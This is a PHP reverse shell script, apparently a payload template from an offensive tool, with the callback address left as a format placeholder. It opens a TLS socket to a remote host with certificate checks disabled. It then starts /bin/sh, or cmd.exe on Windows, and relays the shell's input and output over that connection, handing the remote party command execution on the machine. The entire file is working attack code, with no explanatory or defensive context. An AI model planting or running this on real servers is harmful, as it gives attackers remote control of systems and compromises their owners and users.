<?php
function dataTransfer($input, $output) {
	$data = fread($input, 1024);
	fwrite($output, $data);
}

function windowsDataTransfer($input, $output) {
	$size = fstat($input)['size'];
	while ($size > 0) {
		$readAmount = $size %% 1024;
		$data = fread($input, $readAmount);
		if (fwrite($output, $data)) {
			$size -= $readAmount;
		}
	}
}

$windows = false;
$prog = "/bin/sh";
if (strpos(strtolower(PHP_OS), "win") !== false) {
	$windows = true;
	$prog = "cmd.exe";
}

$context = stream_context_create([
	'ssl' => [
		'verify_peer' => false,
		'verify_peer_name' => false
	]
]);

$stream = stream_socket_client("%s", $errno, $errstr, ini_get("default_socket_timeout"), STREAM_CLIENT_CONNECT, $context);
$process = proc_open($prog, array(0=>array("pipe", "r"), 1=>array("pipe", "w"), 2=>array("pipe", "w")), $pipes);
stream_set_blocking($stream, 0);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
while(true) {
	if (feof($stream) || feof($pipes[1])) {
		break;
	}

	$readArray = array($stream, $pipes[1], $pipes[2]);
	$empty = null;
	$selected = stream_select($readArray, $empty, $empty, null);

	if (in_array($stream, $readArray)) {
		dataTransfer($stream, $pipes[0]);
	}
	if ($windows == false) {
		if (in_array($pipes[1], $readArray)) {
			dataTransfer($pipes[1], $stream);
		}
		if (in_array($pipes[2], $readArray)) {
			dataTransfer($pipes[2], $stream);
		}
	} else {
		if (fstat($pipes[1])["size"]) {
			windowsDataTransfer($pipes[1], $stream);
		}
		if (fstat($pipes[2])["size"]) {
			windowsDataTransfer($pipes[2], $stream);
		}
	}
}

?>
